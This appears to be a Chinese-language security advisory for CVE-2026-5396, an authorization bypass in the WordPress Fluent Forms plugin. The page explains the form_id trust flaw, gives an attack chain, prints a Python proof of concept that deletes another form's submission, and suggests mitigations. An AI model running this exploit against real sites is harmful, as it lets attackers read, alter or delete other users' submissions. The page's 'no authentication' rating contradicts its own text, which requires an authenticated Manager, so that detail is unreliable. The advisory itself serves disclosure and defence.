CVE-2026-5396 CVSS 8.2 高危

CVE-2026-5396: Fluent Forms权限绕过漏洞

披露日期: 2026-05-14

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-5396

漏洞类型

权限绕过

CVSS评分

8.2 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

WordPress Fluent Forms plugin

漏洞概述

WordPress Fluent Forms插件在6.1.21及以下版本中存在严重的权限绕过漏洞。该漏洞源于SubmissionPolicy类在授权提交级别操作时，错误地依赖用户提供的`form_id`查询参数进行权限校验。这导致拥有特定表单有限访问权限的经过身份验证的攻击者，可以通过伪造`form_id`参数，绕过安全限制。攻击者能够读取、修改状态、添加注释甚至永久删除属于其他任何表单的提交数据，造成严重的数据泄露和完整性风险。

技术细节

该漏洞的根本原因在于`SubmissionPolicy`类中的访问控制逻辑缺陷。系统在处理表单提交的读取、修改、删除等操作时，没有严格验证当前用户是否对目标提交所属的表单拥有管理权限，而是直接信任了HTTP请求中用户可控的`form_id`参数。攻击者只需拥有WordPress的认证身份，并被授予了至少一个特定Fluent Forms表单的“Manager”权限。在攻击过程中，攻击者构造恶意请求，将请求中的`form_id`参数设置为其拥有权限的表单ID，同时将目标提交ID指向受害者表单下的数据。由于系统仅校验了`form_id`的有效性而未验证提交归属，攻击者成功绕过了访问控制。利用此漏洞，攻击者可以实现跨表单的数据操作，包括窃取敏感信息或破坏数据完整性。

攻击链分析

STEP 1

1. 身份认证

攻击者注册或获取一个WordPress账户，并被授予至少一个Fluent Forms表单的Manager权限。

STEP 2

2. 侦察分析

攻击者确定想要攻击的目标表单提交ID（submission_id），该ID属于攻击者原本无权访问的表单。

STEP 3

3. 参数伪造

攻击者构造HTTP请求，在请求参数中将`form_id`设置为自己拥有权限的表单ID，同时保留目标`submission_id`。

STEP 4

4. 执行攻击

发送伪造的请求到服务器，服务器校验通过（因为form_id合法），允许攻击者对目标数据执行读取、修改或删除操作。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target endpoint for managing submissions
target_url = "https://example.com/wp-json/fluentform/v1/submissions"

# Authenticated user cookies (User has access to form_id=1)
cookies = {
    "wordpress_logged_in_xxx": "attacker_cookie_value"
}

# Vulnerability parameter: form_id
# The attacker spoofs this ID to a form they manage (e.g., ID 1)
# to access a submission from a different form (e.g., submission ID 999)
payload = {
    "form_id": "1",
    "submission_id": "999"
}

# Example: Attempting to delete a submission using the bypass
response = requests.delete(target_url, params=payload, cookies=cookies)

if response.status_code == 200:
    print("[+] Exploit Successful! Submission deleted via IDOR/Bypass.")
else:
    print(f"[-] Exploit Failed. Status Code: {response.status_code}")

影响范围

Fluent Forms <= 6.1.21

防御指南

临时缓解措施

如果无法立即升级插件，建议暂时撤销非管理员用户对Fluent Forms的管理权限，仅保留核心管理员对表单数据的访问能力，直到应用补丁为止。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表